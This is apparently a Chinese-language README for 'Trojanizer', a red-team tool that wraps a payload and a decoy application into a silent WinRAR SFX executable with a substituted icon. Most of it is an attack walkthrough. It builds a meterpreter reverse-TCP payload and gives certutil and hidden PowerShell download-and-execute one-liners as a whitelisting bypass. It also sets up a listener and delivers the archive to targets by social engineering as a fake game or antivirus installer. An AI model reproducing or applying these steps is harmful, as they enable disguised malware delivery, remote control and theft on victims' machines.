版本发布 : v1.1(稳定版)
作者 : pedro ubuntu [ r00t-3xp10it ]
代号 : Troia_Revisited
支持的发行版 : Ubuntu, Kali, Mint, Parrot OS
Suspicious-Shell-Activity (SSA) RedTeam 开发 @2017
Trojanizer 工具使用 WinRAR(SFX)压缩用户输入的两个文件,
并将其转换为 SFX 可执行(.exe)存档。当 SFX 存档执行时,
它将同时运行这两个文件(我们的有效载荷和合法应用程序同时运行)。
为了使存档在目标执行时减少可疑性,trojanizer 将尝试
用用户选择的图标(.ico)替换 SFX 文件的默认图标,
并抑制所有 SFX 存档沙盒消息(Silent=1 | Overwrite=1)。
'Trojanizer 不会构建木马,但从目标的角度来看,它复制了木马的行为'
(在后台执行有效载荷,而合法应用程序在前台执行)。
Zenity(bash 图形界面) | Wine(x86|x64) | WinRAr.exe(安装在 wine 中)
"Trojanizer.sh 将根据需要下载/安装所有依赖项"
╔────────────────────────────────────────────────────────────────────────────────────────────╗
| 建议在首次运行工具前,编辑并配置 'settings' 文件中的选项:SYSTEM_ARCH=[ your_sys_arch ] |
╚────────────────────────────────────────────────────────────────────────────────────────────╝
Trojanizer v1.1-Stable
.exe | .bat | .vbs | .ps1
"所有 Windows/SFX 可以自动解压并执行的有效载荷"
提示:如果在 settings 文件中选择了 'SINGLE_EXEC=ON',
则 trojanizer 将接受任何扩展名的输入。
.exe | .bat | .vbs | .ps1 | .jpg | .bmp | .doc | .ppt | 等
"所有 Windows/SFX 可以自动解压并执行的应用程序"
╔─────────────────────────────────────────────────────────────────────────────────────────╗
| Trojanizer 的 '高级选项' 只能在 'settings' 文件中访问, |
| 并且只能在运行主工具(Trojanizer.sh)之前进行配置 |
╚─────────────────────────────────────────────────────────────────────────────────────────╝
-- 预设高级选项
Trojanizer 可以配置为在解压/执行两个压缩文件(SFX 存档)之前执行程序 + 命令。
这允许用户利用预安装的软件在目标系统上实际解压之前执行远程命令。
如果激活,trojanizer 将询问(zenity 沙盒)要执行的命令
Trojanizer v1.1-Stable
-- 单文件执行
让我们看看以下场景:你有一个 DLL 有效载荷需要输入,并且需要在解压后执行,
但 SFX 存档不能直接执行 DLL 文件。此设置允许用户输入一个批处理脚本(.bat),
该脚本将用于执行 DLL 有效载荷。Trojanizer 所需要做的只是指示 SFX 存档提取这两个文件,
然后执行 script.bat。
Trojanizer v1.1-Stable
╔────────────────────────────────────────────────────────────────────────────────────────────────╗
| 单文件执行开关的默认行为是压缩用户输入的两个文件,但只在解压时执行其中一个(第二个输入的文件将被执行)... |
╚────────────────────────────────────────────────────────────────────────────────────────────────╝
╔────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╗
| 很多人,尤其是 @subTee,在应用程序白名单绕过方面做了大量出色工作,这正是我们想要的:滥用微软内置二进制文件执行任意代码。 |
| https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ |
╚────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╝
以下练习描述了如何使用 trojanizer 的 'single_file_execution' 和 'Presetup' 高级开关来
丢弃(远程下载)并使用 'certutil' 或 'powershell' 应用程序白名单绕过单行命令执行任意有效载荷。
1º - 使用 metasploit 构建有效载荷
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.69 LPORT=666 -f exe -o payload.exe
2º - 将 payload.exe 复制到 apache2 网站根目录并启动服务
cp payload.exe /var/www/html/payload.exe
service apache2 start
3º - 编辑 Trojanizer 的 'settings' 文件并激活:
PRE_SETUP=ON
SINGLE_EXEC=ON
4º - 运行 trojanizer 工具
要压缩的有效载荷 => <path-to>/screenshot.png(压缩什么并不重要)
解压后执行此文件 => <path-to>/AngryBirds.exe(作为诱饵应用程序执行)
预设沙盒 => cmd.exe /c certutil -urlcache -split -f http://192.168.1.69/payload.exe %TEMP%\\payload.exe && start %TEMP%\\payload.exe
SFX 文件名 => AngryBirds_installer(要创建的 SFX 存档名称)
替换图标 => Windows-Store.ico 或 Steam-logo.ico
5º - 启动监听器,并通过社会工程学将 SFX 存档发送给目标
msfconsole -x 'use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost 192.168.1.69; set lport 666; exploit'
╔────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╗
| 当 SFX 存档执行时,它将从我们的 apache2 网络服务器下载 payload.exe 到目标,并在解压 'screenshot.png' 和 |
| 'AngryBirds.exe' 之前执行它(最后一个将作为诱饵执行) |
╚────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╝
以下单行命令使用 'powershell(Downloadfile+start)' 方法实现与之前 'certutil' 练习相同的效果 ..
cmd.exe /c powershell.exe -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://192.168.1.69/payload.exe', '%TEMP%\\payload.exe') & start '%TEMP%\\payload.exe'
以下单行命令使用 'powershell(IEX+downloadstring)' 方法实现几乎相同的效果(payload.ps1 不接触磁盘)
cmd.exe /c powershell.exe -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.69/payload.ps1'))"
1º - 从 GitHub 下载框架
git clone https://github.com/r00t-3xp10it/trojanizer.git
2º - 设置文件执行权限
cd trojanizer
sudo chmod +x *.sh
3º - 配置框架
nano settings
4º - 运行主工具
sudo ./Trojanizer.sh
xsf.conf - 解压时执行两个文件(木马行为)
Trojanizer v1.1-Stable
xsf.conf - 单文件执行 + 预设(高级选项)
Trojanizer v1.1-Stable
xsf.conf - 单文件执行 + 预设 + 应用程序白名单绕过 (certutil)
Trojanizer v1.1-Stable
xsf.conf - 单文件执行 + 预设 + 应用程序白名单绕过 (powershell IEX)
Trojanizer v1.1-Stable
更改图标后的最终 SFX 存档
Trojanizer v1.1-Stable
SFX 存档内部(用 winrar 打开)- 木马行为
Trojanizer v1.1-Stable
SFX 存档内部(用 winrar 打开)- 单文件执行
Trojanizer v1.1-Stable
Trojanizer - AVG 防病毒虚假安装程序(木马行为)
https://www.youtube.com/watch?v=BIn6_ccZrI0
Trojanizer - 单文件执行(非木马行为)
https://www.youtube.com/watch?v=Ze0JkVtKbns
@subTee | @enigma0x3 | @H4d3s (SSA)
参考资料:
http://acritum.com/software/manuals/winrar/
https://blog.conscioushacker.io/index.php/2017/11/17/application-whitelisting-bypass-msbuild-exe/
https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/
https://github.com/r00t-3xp10it/trojanizer/issues